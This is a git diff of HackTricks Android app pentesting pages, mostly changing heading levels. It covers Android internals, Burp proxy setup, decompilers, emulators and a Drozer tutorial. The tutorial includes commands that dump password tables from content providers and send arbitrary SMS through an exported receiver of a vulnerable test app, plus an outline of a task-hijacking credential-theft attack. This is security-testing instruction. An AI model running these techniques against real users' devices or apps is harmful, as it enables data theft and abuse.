asking for the permissions configured in the **`uses-permission`** elements in the **AndroidManifest.xml** file. The **uses-permission** element indicates the name of the requested permission inside the **name** **attribute.** It also has the **maxSdkVersion** attribute which stops asking for permissions on versions higher than the one specified.\ Note that android applications don't need to ask for all the permissions at the beginning, they can also **ask for permissions dynamically** but all the permissions must be **declared** in the **manifest.** @@ -55,7 +54,7 @@ A permission element has three attributes: * **Signature**: Only **apps signed by the same certificate as the one** exporting the component can be granted permission. This is the strongest type of protection. * **SignatureOrSystem**: Only **apps signed by the same certificate as the one** exporting the component or **apps running with system-level access** can be granted permissions -### Pre-Installed Applications +# Pre-Installed Applications These apps are generally found in the **`/system/app`** or **`/system/priv-app`** directories and some of them are **optimised** (you may not even find the `classes.dex` file). Theses applications are worth checking because some times they are **running with too many permissions** (as root). @@ -63,7 +62,7 @@ These apps are generally found in the **`/system/app`** or **`/system/priv-app`* * Added by the device **manufacturer** * Added by the cell **phone provider** (if purchased from them) -### Rooting +# Rooting In order to obtain root access into a physical android device you generally need to **exploit** 1 or 2 **vulnerabilities** which use to be **specific** for the **device** and **version**.\ Once the exploit has worked, usually the Linux `su` binary is copied into a location specified in the user's PATH env variable like `/system/xbin`. @@ -74,22 +73,22 @@ Once the su binary is configured, another Android app is used to interface with Note that the rooting process is very dangerous and can damage severely the device {% endhint %} -#### ROMs +## ROMs It's possible to **replace the OS installing a custom firmware**. Doing this it's possible to extend the usefulness of an old device, bypass software restrictions or gain access to the latest Android code.\ **OmniROM** and **LineageOS** are two of the most popular firmwares to use. Note that **not always is necessary to root the device** to install a custom firmware. **Some manufacturers allow** the unlocking of their bootloaders in a well-documented and safe manner. -#### Implications +## Implications Once a device is rooted, any app could request access as root. If a malicious application gets it, it can will have access to almost everything and it will be able to damage the phone. -### Android Application Fundamentals +# Android Application Fundamentals This introduction is taken from [https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html](https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html) -#### Fundamentals Review +## Fundamentals Review * Android applications are in the _APK file format_. **APK is basically a ZIP file**. (You can rename the file extension to .zip and use unzip to open and see its contents.) * APK Contents (Not exhaustive) @@ -113,7 +112,7 @@ This introduction is taken from [https://maddiestone.github.io/AndroidAppRE/app\ * res/ * the directory containing resources not compiled into resources.arsc -#### **Dalvik & Smali** +## **Dalvik & Smali** Most Android applications are written in Java. Kotlin is also supported and interoperable with Java. For ease, for the rest of this workshop, when I refer to “Java”, you can assume that I mean “Java or Kotlin”. **Instead of the Java code being run in Java Virtual Machine** (JVM) like desktop applications, in Android, the **Java is compiled to the \_Dalvik Executable (DEX) bytecode**\_\*\* format\*\*. For earlier versions of Android, the bytecode was translated by the Dalvik virtual machine. For more recent versions of Android, the Android Runtime (ART) is used.\ If developers, write in Java and the code is compiled to DEX bytecode, to reverse engineer, we work the opposite direction.\ @@ -125,7 +124,7 @@ If developers, write in Java and the code is compiled to DEX bytecode, to revers **Smali is the human readable version of Dalvik bytecode**. Technically, Smali and baksmali are the name of the tools (assembler and disassembler, respectively), but in Android, we often use the term “Smali” to refer to instructions. If you’ve done reverse engineering or computer architecture on compiled C/C++ code. **SMALI is like the assembly language: between the higher level source code and the bytecode**. -### Intents +# Intents Intents are the primary means by which Android apps communicate between their components or with other apps. These message objects can also carry data between apps or component, similar to how GET/POST requests are used in HTTP communications. @@ -140,7 +139,7 @@ To be simple Intent can be used: Improper implementation could result in data leakage, restricted functions being called and program flow being manipulated. -#### Intent-Filter +## Intent-Filter An Intent Filter specify the **types of Intent that an activity, service, or Broadcast Receiver can respond to**. It specifies what an activity or service can do and what types of broadcasts a Receiver can handle. It allows the corresponding component to receive Intents of the declared type. Intent Filters are typically **defined via the AndroidManifest.xml file**. For **Broadcast Receiver** it is also possible to define them in **coding**. An Intent Filter is defined by its category, action and data filters. It can also contain additional metadata. @@ -149,7 +148,7 @@ developers can **explicitly make components private** (regardless of any intent by setting the \*\* `exported` attribute to `false`\*\* for each component in the manifest file.\ Developers can also set the **`permission`** attribute to **require a certain permission to access** the component, thereby restricting access to the component. -#### Implicit Intents +## Implicit Intents Intents are programatically created using an Intent constructor: @@ -174,7 +173,7 @@ An intent-filter needs to match the **action**, **data** and **category** to rec The "Intent resolution" process determine which app should receive each message. This process considers the **priority attribute**, which can be set in the i**ntent-filter declaration**, and t**he one with the higher priority will be selected**. This priority can be set between -1000 and 1000 and applications can use the `SYSTEM_HIGH_PRIORITY` value. If a **conflict** arises, a "choser" Window appears so the **user can decide**. -#### Explicit Intents +## Explicit Intents An explicit intent specifies the class name it's targeting: @@ -190,11 +189,11 @@ intent.setClassName("com.other.app", "com.other.app.ServiceName"); context.startService(intent); ``` -#### Pending Intents +## Pending Intents These allow other applications to **take actions on behalf of your application**, using your app's identity and permissions. Constructing a Pending Intent it should be **specified an intent and the action to perform**. If the **declared intent isn't Explicit** (doesn't declare which intent can call it) a **malicious application could perform the declared action** on behalf of the victim app. Moreover, **if an action ins't specified**, the malicious app will be able to do **any action on behalf the victim**. -#### Broadcast Intents +## Broadcast Intents Unlike the previous intents, which are only received by one app, broadcast intents **can be received by multiple apps**. However, from API version 14, it's **possible to specify the app that should receive** the message using Intent.set Package. @@ -205,7 +204,7 @@ There are **two types** of Broadcasts: **Normal** (asynchronous) and **Ordered** It's possible to **send** a **broadcast** using the function \*\*`sendBroadcast(intent, receiverPermission)` \*\* from the `Context` class.\ You could also use the function **`sendBroadcast`** from the **`LocalBroadCastManager`** ensures the **message never leaves the app**. Using this you won't even need to export a receiver component. -#### Sticky Broadcasts +## Sticky Broadcasts This kind of Broadcasts **can be accessed long after they were sent**.\ These were deprecated in API level 21 and it's recommended to **not use them**.\ @@ -213,7 +212,7 @@ These were deprecated in API level 21 and it's recommended to **not use them**.\ If you find functions containing the word "sticky" like **`sendStickyBroadcast`** or **`sendStickyBroadcastAsUser`**, **check the impact and try to remove them**. -### Deep links / URL schemes +# Deep links / URL schemes **Deep links allow to trigger an Intent via URL**. An application can declare an **URL schema** inside and activity so every time the Android device try to **access an address using that schema** the applications activity will be called: @@ -245,7 +244,7 @@ In order to find the **code that will be executed in the App**, go to the activi Learn how to [call deep links without using HTML pages](./#exploiting-schemes-deep-links). -### AIDL - Android Interface Definition Language +# AIDL - Android Interface Definition Language The **Android Interface Definition Language** (AIDL) allows you to define the programming interface that both the client and service agree upon in order to **communicate with each other using interprocess communication** (IPC). On Android, **one process cannot normally access the memory of another process**. So to talk, they need to decompose their objects into primitives that the **operating system** can understand, and marshall the objects across that boundary for you. The code to do that marshalling is tedious to write, so Android handles it for you with AIDL.). @@ -253,19 +252,19 @@ Services using AIDL are referred to as **Bound Services**. In the Service's clas A bound service is the server in a client-server interface. **It allows components (such as activities) to bind to the service, send requests, receive responses, and perform interprocess communication** (IPC). A bound service typically lives only while it serves another application component and does not run in the background indefinitely. -#### Messenger +## Messenger A Messenger is another type of IPC mechanism. Since the **Messenger is also a "Bound Service"**, the data passed from the client app is also processed through the `onBind` method. So, the code review should start on this method and you should look for the invocation of sensitive functionality or unsafe handling of data. -#### Binder +## Binder It's weird to find a Binder class directly invoked as it's much easier to use AIDL (which abstracts the Binder class). However, it's good to know that **Binder is a kernel-level driver which moves data from one process's memory to another's** ([https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)). -### Components +# Components These include: **Activities, Services, Broadcast Receivers and Providers.** -#### Launcher Activity and other activities +## Launcher Activity and other activities An **Android activity** is one screen of the **Android** app's user interface. In that way an **Android activity** is very similar to windows in a desktop application. An **Android** app may contain one or more activities, meaning one or more screens. @@ -293,13 +292,13 @@ Also, **some activities returns data to a caller**. In these scenarios you need **The code of an activity starts with the `onCreate` method.** -#### Application Subclass +## Application Subclass Android applications can define a **subclass** of [Application](https://developer.android.com/reference/android/app/Application). Applications can, but do not have to define a custom subclass of Application. If an Android app defines an Application subclass, t**his class is instantiated prior to any other class in the application**. If the **`attachBaseContext`** method is defined in the Application subclass, it is called first, before the **`onCreate`** method. -#### Services +## Services [Services](https://developer.android.com/guide/components/services) **run in the background without a UI.** They are used to perform **long-running processes, even if the user starts using a different application**. @@ -317,7 +316,7 @@ A **service can be exported which allows other processes on the device to start ``` -#### Broadcast Receivers +## Broadcast Receivers Broadcasts can be thought of a messaging system and **broadcast receivers are the listeners**. If an application has registered a receiver for a specific broadcast, the code in that receiver is executed when the system sends the broadcast. Note that in this case **several apps can receive the same message**. @@ -338,7 +337,7 @@ Broadcast can be **asynchronous** (every receiver receives it) or **synchronous* To **examine** the **code** implemented into a Broadcast Receiver you need to search for the **`onReceive`** method of the class of the receiver.\ Note that **Ordered Broadcasts can drop the Intent received or even modify it** using one of the setter methods. Therefore, the **receivers should validate the data**. -#### Content Provider +## Content Provider Content Providers are the way **apps share structured data**, such as relational databases. Therefore, it's very important to use **permissions** and set the appropriate protection level to protect them.\ Content Providers can use the **`readPermission`** and **`writePermission`** attributes to specify which permissions an app must have. **These permissions take precedence over the permission attribute**.\ @@ -395,7 +394,7 @@ The `` element can have multiple children, each specifying a different di [More information about FileProviders here](https://developer.android.com/training/secure-file-sharing/setup-sharing). -### WebViews +# WebViews WebViews are effectively **web browsers** embedded into Android Apps.\ WebViews content can be pulled from remote sites or can be files included in the app.\ @@ -422,21 +421,21 @@ By default, local files can be accessed by WebViews via file:// URLs, but there * The method **`setAllowFileAccess`** indicates if a path from a `file://` URL should be able to access the content from other file scheme URLs. * The method **`setAllowUniversalAccessFromFileURLs`** indicates if a path from a `file://` URL should be able to access content from any origin. -### Other App components +# Other App components -#### **Application Signing** +## **Application Signing** * Android requires that **all apps be digitally signed with a certificate** before they can be installed. Android uses this certificate to identify the author of an app. * To run application on the device, it should be signed.When application is installed on to a device the **package manager verifies** that whether the application has been properly signed with the certificate in the apk file or not. * Application can be self signed or can be signed through CA. * Application signing ensures that one application can’t access any other application except through well-defined IPC and also that it is passed unmodified to the device. -#### **Application Verification** +## **Application Verification** * Android 4.2 and later support application verification. Users can choose to enable “Verify Apps” and have applications evaluated by an application verifier prior to installation. * App verification can alert the user if they try to install an app that might be harmful; if an application is especially bad, it can block installation. -### Mobile Device Management +# Mobile Device Management MDM or Mobile Device Management are software suits that are used to **ensure a control and security requirements** over mobile devices. These suites use the features referred as Device Administration API and require an Android app to be installed. diff --git a/mobile-apps-pentesting/android-app-pentesting/android-burp-suite-settings.md b/mobile-apps-pentesting/android-app-pentesting/android-burp-suite-settings.md index 750ab675..b882fcba 100644 --- a/mobile-apps-pentesting/android-app-pentesting/android-burp-suite-settings.md +++ b/mobile-apps-pentesting/android-app-pentesting/android-burp-suite-settings.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Burp Suite Configuration for Android - **This tutorial was taken from:** [**https://medium.com/@ehsahil/basic-android-security-testing-lab-part-1-a2b87e667533**](https://medium.com/@ehsahil/basic-android-security-testing-lab-part-1-a2b87e667533) -## Add a proxy in Burp Suite to listen. +# Add a proxy in Burp Suite to listen. Address: **192.168.56.1** & Port: **1337** @@ -29,7 +27,7 @@ Choose _**All Interfaces**_ option. ![](https://miro.medium.com/max/700/1\*0Bn7HvqI775Nr5fXGcqoJA.png) -## **Adding listener in Android device.** +# **Adding listener in Android device.** Setting → Wifi →WiredSSID (Long press) @@ -49,7 +47,7 @@ Testing connection over http and https using devices browser. ![](https://miro.medium.com/max/700/1\*M-AoG6Yqo21D9qgQHLCSzQ.png) -## **Installing burp certificate in android device.** +# **Installing burp certificate in android device.** Download burp certificate. — Use your desktop machine to download the certificate. diff --git a/mobile-apps-pentesting/android-app-pentesting/android-task-hijacking.md b/mobile-apps-pentesting/android-app-pentesting/android-task-hijacking.md index 59707634..a935cf82 100644 --- a/mobile-apps-pentesting/android-app-pentesting/android-task-hijacking.md +++ b/mobile-apps-pentesting/android-app-pentesting/android-task-hijacking.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Android Task Hijacking - -## Task, Back Stack and Foreground Activities +# Task, Back Stack and Foreground Activities A task is a collection of activities that users interact with when performing a certain job. The activities are arranged in a stack—the _**back stack**_)—in the order in which each activity is opened. @@ -34,25 +32,25 @@ This is some simple activity flow: ![](<../../.gitbook/assets/image (548).png>) -### Android Multi-tasking - One Task +## Android Multi-tasking - One Task One task is composed by several activities ![](<../../.gitbook/assets/image (549).png>) -### Android Multi-tasking - Several Tasks +## Android Multi-tasking - Several Tasks Android usually manages several tasks ![](<../../.gitbook/assets/image (550).png>) -## Task Control Knobs +# Task Control Knobs ![](<../../.gitbook/assets/image (551).png>) -## Task affinity attack +# Task affinity attack -### Task affinity and Launch Modes +## Task affinity and Launch Modes **Task affinity** is an attribute that is defined in each `` tag in the `AndroidManifest.xml` file. It describes which Task an Activity prefers to join.\ By default, every activity has the same affinity as the **package** name. @@ -80,17 +78,17 @@ When the launchMode is set to `singleTask`, the Android system evaluates three p * **Without finding a “matching” task**:\ The AMS creates a new task and makes the new activity instance the root activity of the newly created task. -### Attack +## Attack The victim needs to have the **malicious** **app** **installed** in his device. Then, he needs to **open** **it** **before** opening the **vulnerable** **application**. Then, when the **vulnerable** application is **opened**, the **malicious** **application** will be **opened** **instead**. If this malicious application presents the **same** **login** as the vulnerable application the **user won't have any means to know that he is putting his credentials in a malicious application**. **You can find an attack implemented here:** [**https://github.com/az0mb13/Task\_Hijacking\_Strandhogg**](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg) -## Preventing task hijacking +# Preventing task hijacking Setting `taskAffinity=""` can be a quick fix for this issue. The launch mode can also be set to **singleInstance** if the app does not want other activities to join tasks belonging to it. A custom **onBackPressed()** function can also be added, to override the default behaviour. -## **References** +# **References** * [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/) * [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html) diff --git a/mobile-apps-pentesting/android-app-pentesting/apk-decompilers.md b/mobile-apps-pentesting/android-app-pentesting/apk-decompilers.md index 248065bb..e38962fc 100644 --- a/mobile-apps-pentesting/android-app-pentesting/apk-decompilers.md +++ b/mobile-apps-pentesting/android-app-pentesting/apk-decompilers.md @@ -16,13 +16,12 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## APK decompilers -#### [JD-Gui](https://github.com/java-decompiler/jd-gui) +## [JD-Gui](https://github.com/java-decompiler/jd-gui) First famous gui Java decompiler, you could use it to investigate the Java code from the APK once you have obtained it. -#### [Jadx](https://github.com/skylot/jadx) +## [Jadx](https://github.com/skylot/jadx) Buildin Java (multi-platform)and at this moment I think it's the recommended one.\ Just **download** the **latest** version and execute it from the _**bin**_ folder: @@ -48,7 +47,7 @@ Some **interesting options of jadx** (GUI and CLI versions) are: --no-imports #Always write entire package name (very useful to know where is the function that you might want to hook) ``` -#### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool) +## [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool) GDA is also a powerful and fast reverse analysis platform. Which does not only supports the basic decompiling operation, but also many excellent functions like **Malicious behavior detection, Privacy leaking detection, Vulnerability detection, Path solving, Packer identification, Variable tracking analysis, Deobfuscation, Python& Java scripts, Device memory extraction, Data decryption and encryption** etc\*\*.\*\* @@ -56,7 +55,7 @@ GDA is also a powerful and fast reverse analysis platform. Which does not only s ![](<../../.gitbook/assets/image (207) (1) (1).png>) -#### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases) +## [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases) Another **interesting tool to make a Static analysis is**: [**bytecode-viewer**](https://github.com/Konloch/bytecode-viewer/releases)**.** It allows you to decompile the APK using **several decompilers at the same time**. Then, you can see for example, 2 different Java decompilers and one Smali decompiler. It allows you also to **modify** the code: @@ -65,12 +64,12 @@ Another **interesting tool to make a Static analysis is**: [**bytecode-viewer**] If you modify the code, then you can **export it**.\ One bad thing of bytecode-viewer is that it **doesn't have references** or **cross-references.** -#### [**Enjarify**](https://github.com/Storyyeller/enjarify) +## [**Enjarify**](https://github.com/Storyyeller/enjarify) Enjarify is a tool for translating Dalvik bytecode to equivalent Java bytecode. This allows Java analysis tools to analyze Android applications.\ Dex2jar is an older tool that also tries to translate Dalvik to Java bytecode. It works reasonably well most of the time, but a lot of obscure features or edge cases will cause it to fail or even silently produce incorrect results. By contrast, Enjarify is designed to work in as many cases as possible, even for code where Dex2jar would fail. Among other things, Enjarify correctly handles unicode class names, constants used as multiple types, implicit casts, exception handlers jumping into normal control flow, classes that reference too many constants, very long methods, exception handlers after a catchall handler, and static initial values of the wrong type. -#### [CFR](https://github.com/leibnitz27/cfr) +## [CFR](https://github.com/leibnitz27/cfr) CFR will decompile modern Java features - [including much of Java ](https://www.benf.org/other/cfr/java9observations.html)[9](https://github.com/leibnitz27/cfr/blob/master/java9stringconcat.html), [12](https://www.benf.org/other/cfr/switch\_expressions.html) & [14](https://www.benf.org/other/cfr/java14instanceof\_pattern), but is written entirely in Java 6, so will work anywhere! ([FAQ](https://www.benf.org/other/cfr/faq.html)) - It'll even make a decent go of turning class files from other JVM languages back into java! @@ -90,7 +89,7 @@ This example will allow a maximum of 4GB to be allocated. In the output directory, you will find the decompiled `.java` files, together with a summary of the decompilation -#### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine) +## [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine) Next up is [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine), which is part of [IntelliJ IDEA](https://www.jetbrains.com/idea/). Everyone mentions that it is an _analytical_ decompiler (as stated in their project description), but nobody points out what this actually means. I only found [this Stackoverflow question](https://stackoverflow.com/q/62298929), which unfortunately remains unanswered as of today. @@ -110,7 +109,7 @@ java -jar ./fernflower.jar "$JARFILE" "$OUTDIR" Among the decompilers described here, this is the only one that outputs the generated `.java` files in a JAR file. You can easily extract the source files using `unzip`. -#### [Krakatau](https://github.com/Storyyeller/Krakatau) +## [Krakatau](https://github.com/Storyyeller/Krakatau) Remember Enjarify from above? The very same author is also the developer of a decompiler named [Krakatau](https://github.com/Storyyeller/Krakatau). @@ -140,7 +139,7 @@ Given this file, we can run Krakatau as follows. Let me refer to the project’s GitHub for an explanation of the parameters. Just note that for any libraries used by your JAR file, Krakatau will require you to add it as a JAR file to the `-path` flag. -#### [procyon](https://github.com/mstrobel/procyon) +## [procyon](https://github.com/mstrobel/procyon) Once installed, the usage is straightforward. @@ -148,7 +147,7 @@ Once installed, the usage is straightforward. procyon -jar "$JARFILE" -o "$OUTDIR" ``` -#### References +## References {% embed url="https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr" %} diff --git a/mobile-apps-pentesting/android-app-pentesting/avd-android-virtual-device.md b/mobile-apps-pentesting/android-app-pentesting/avd-android-virtual-device.md index 01ef6638..6a1d5d63 100644 --- a/mobile-apps-pentesting/android-app-pentesting/avd-android-virtual-device.md +++ b/mobile-apps-pentesting/android-app-pentesting/avd-android-virtual-device.md @@ -16,11 +16,10 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## AVD - Android Virtual Device Thank you very much to [**@offsecjay**](https://twitter.com/offsecjay) for his help while creating this content. -### What is +# What is Android Studio allows to **run virtual machines of Android that you can use to test APKs**. In order to use them you will need: @@ -29,7 +28,7 @@ Android Studio allows to **run virtual machines of Android that you can use to t In Windows (in my case) **after installing Android Studio** I had the **SDK Tools installed in**: `C:\Users\\AppData\Local\Android\Sdk\tools` -### JDK +# JDK For MacOS machines I recommend you to install the following version to be able to use the CLI commands mentioned in the following sections: @@ -37,9 +36,9 @@ For MacOS machines I recommend you to install the following version to be able t brew install openjdk@8 ``` -### GUI +# GUI -#### Prepare Virtual Machine +## Prepare Virtual Machine If you installed Android Studio, you can just open the main project view and access: _**Tools**_ --> _**AVD Manager.**_ @@ -57,15 +56,15 @@ So, select it and click on _**Download**_\*\* (**now wait until the image is dow The virtual machine will be created. Now **every time that you access AVD manager it will be present**. -#### Run Virtual Machine +## Run Virtual Machine In order to **run** it just press the _**Start button**_. ![](<../../.gitbook/assets/image (334).png>) -### Command Line tool +# Command Line tool -#### Prepare Virtual Machine +## Prepare Virtual Machine {% hint style="info" %} In **MacOS** systems the executable is located in `/Users//Library/Android/sdk/tools/bin` @@ -177,7 +176,7 @@ The following Android Virtual Devices could not be loaded: Error: Google pixel_2 no longer exists as a device ``` -#### Run Virtual Machine +## Run Virtual Machine We have already seen how you can list the created virtual machines, but **you can also list them using**: @@ -200,7 +199,7 @@ Or using more advance options you can run a virtual machine like: C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system ``` -#### Command line options +## Command line options However there are **a lot of different command line useful options** that you can use to initiate a virtual machine. Below you can find some interesting options but can [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) @@ -224,7 +223,7 @@ However there are **a lot of different command line useful options** that you ca * `-screen {touch(default)|multi-touch|o-touch}` : Set emulated touch screen mode. * **`-writable-system`** : Use this option to have a writable system image during your emulation session. You will need also to run `adb root; adb remount`. This is very useful to install a new certificate in the system. -### Install Burp certificate on a Virtual Machine +# Install Burp certificate on a Virtual Machine First of all you need to download the Der certificate from Burp. You can do this in _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ @@ -252,7 +251,7 @@ adb reboot #Now, reboot the machine Once the **machine finish rebooting** the burp certificate will be in use by it! -### Take a Snapshot +# Take a Snapshot You can **use the GUI** to take a snapshot of the VM at any time: diff --git a/mobile-apps-pentesting/android-app-pentesting/content-protocol.md b/mobile-apps-pentesting/android-app-pentesting/content-protocol.md index 53d3813b..d79a9793 100644 --- a/mobile-apps-pentesting/android-app-pentesting/content-protocol.md +++ b/mobile-apps-pentesting/android-app-pentesting/content-protocol.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# content:// protocol - To experiment with content providers, one can use the `content` command on Android devices. Root access is not necessarily required. For example, to see the list of files managed by the Media Store, one can execute the following command: ```bash @@ -71,7 +69,7 @@ Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSes ... ``` -### The Chrome CVE-2020-6516 Same-Origin-Policy bypass +## The Chrome CVE-2020-6516 Same-Origin-Policy bypass The _Same Origin Policy_ (SOP) \[[12](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin\_policy)] in browsers dictates that Javascript content of URL A will only be able to access content at URL B if the following URL attributes remain the same for A and B: diff --git a/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/README.md b/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/README.md index 10e3f279..86daca9c 100644 --- a/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -17,14 +17,12 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Drozer Tutorial - -## APKs to test +# APKs to test * [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (from mrwlabs) * [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz) -## Installation +# Installation Install Drozer Client inside your host. Download it from the [latest releases](https://github.com/mwrlabs/drozer/releases). @@ -40,7 +38,7 @@ Download and install drozer APK from the [latest releases](https://github.com/mw adb install drozer.apk ``` -### Starting the Server +## Starting the Server Agent is running on port 31415, we need to [port forward](https://en.wikipedia.org/wiki/Port_forwarding) to establish the communication between the Drozer Client and Agent, here is the command to do so: @@ -58,7 +56,7 @@ And connect to it: drozer console connect ``` -## Interesting Commands +# Interesting Commands | **Commands** | **Description** | | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | @@ -75,7 +73,7 @@ drozer console connect | **exploit** | Drozer can create exploits to execute in the decide. `drozer exploit list` | | **payload** | The exploits need a payload. `drozer payload list` | -### Package +## Package Find the **name** of the package filtering by part of the name: @@ -129,7 +127,7 @@ Attack Surface: * **Services**: * **is debuggable**: [Learn more](./#is-debuggeable) -### Activities +## Activities An exported activity component’s “android:exported” value is set to **“true”** in the AndroidManifest.xml file: @@ -165,11 +163,11 @@ You can also start an exported activity from **adb**: adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -### Content Providers +## Content Providers This post was so big to be here so **you can** [**access it in its own page here**](exploiting-content-providers.md). -### Services +## Services A exported service is declared inside the Manifest.xml: @@ -181,7 +179,7 @@ Inside the code **check** for the **`handleMessage`**function which will **recei ![](<../../../.gitbook/assets/image (194).png>) -#### List service +### List service ``` dz> run app.service.info -a com.mwr.example.sieve @@ -192,7 +190,7 @@ Package: com.mwr.example.sieve Permission: null ``` -#### **Interact** with a service +### **Interact** with a service ``` app.service.send Send a Message to a service, and display the reply @@ -200,7 +198,7 @@ app.service.start Start Service app.service.stop Stop Service ``` -#### Example +### Example Take a look to the **drozer** help for `app.service.send`: @@ -222,7 +220,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m ![](<../../../.gitbook/assets/image (195).png>) -### Broadcast Receivers +## Broadcast Receivers Android apps can send or receive broadcast messages from the Android system and other Android apps, similar to the [publish-subscribe](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern) design pattern. These broadcasts are sent when an event of interest occurs. For example, the Android system sends broadcasts when various system events occur, such as when the system boots up or the device starts charging. Apps can also send custom broadcasts, for example, to notify other apps of something that they might be interested in (for example, some new data has been downloaded). @@ -243,13 +241,13 @@ From: [https://developer.android.com/guide/components/broadcasts](https://develo After discovering this Broadcast Receivers you should **check the code** of them. Pay special attention to the **`onReceive`**function as it will be handling the messages received. -#### **Detect all** broadcast receivers +### **Detect all** broadcast receivers ```bash run app.broadcast.info #Detects all ``` -#### Check broadcast receivers of an app +### Check broadcast receivers of an app ```bash #Check one negative @@ -272,7 +270,7 @@ Package: com.google.android.youtube Permission: null ``` -#### Broadcast **Interactions** +### Broadcast **Interactions** ``` app.broadcast.info Get information about broadcast receivers @@ -280,7 +278,7 @@ app.broadcast.send Send broadcast using an intent app.broadcast.sniff Register a broadcast receiver that can sniff particular intents ``` -#### Send a message +### Send a message In this example abusing the [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider you can **send an arbitrary SMS** any non-premium destination **without asking** the user for permission. @@ -294,7 +292,7 @@ If you read the code, the parameters "_phoneNumber_" and "_message_" must be sen run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!" ``` -### Is debuggeable +## Is debuggeable A prodduction APK should never be debuggeable.\ This mean that you can **attach java debugger** to the running application, inspect it in run time, set breakpoints, go step by step, gather variable values and even change them.[ InfoSec institute has an excellent article](../exploiting-a-debuggeable-applciation.md) on digging deeper when you application is debuggable and injecting runtime code. @@ -311,12 +309,12 @@ You can find all debuggeable applications with **Drozer**: run app.package.debuggable ``` -## Tutorials +# Tutorials * [https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref](https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref) * [http://mobiletools.mwrinfosecurity.com/Using-Drozer-for-application-security-assessments/](http://mobiletools.mwrinfosecurity.com/Using-Drozer-for-application-security-assessments/) -## More info +# More info * [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/) diff --git a/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md b/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md index f68f3088..731b5687 100644 --- a/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md +++ b/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md @@ -16,9 +16,8 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## Exploiting Content Providers -### Intro +# Intro A content provider component **supplies data from one application to others** on request. Such requests are handled by the methods of the ContentResolver class. A content provider can use different ways to store its data and the data can be **stored** in a **database**, in **files**, or even over a **network**. @@ -35,7 +34,7 @@ In this case, it's necessary the permission `READ_KEYS` to access `content://com **Maybe you can access private data or exploit some vulnerability (SQL Injection or Path Traversal).** -### Get info from **exposed content providers** +# Get info from **exposed content providers** ``` dz> run app.provider.info -a com.mwr.example.sieve @@ -85,7 +84,7 @@ Also, if you can't find full queries you could **check which names are declared The query will be like: `content://name.of.package.class/declared_name` -### **Database-backed Content Providers** +# **Database-backed Content Providers** Probably most of the Content Providers are used as **interface** for a **database**. Therefore, if you can access it you could be able to **extract, update, insert and delete** information.\ Check if you can **access sensitive information** or try to change it to **bypass authorisation** mechanisms. @@ -98,7 +97,7 @@ When checking the code of the Content Provider **look** also for **functions** n Because you will be able to call them -#### Query content +## Query content ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical @@ -110,7 +109,7 @@ password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== email: incognitoguy50@gmail.com ``` -#### Insert content +## Insert content Quering the database you will learn the **name of the columns**, then, you could be able to insert data in the DB: @@ -120,17 +119,17 @@ Quering the database you will learn the **name of the columns**, then, you could _Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean_ -#### Update content +## Update content Knowing the name of the columns you could also **modify the entries**: ![](<../../../.gitbook/assets/image (190).png>) -#### 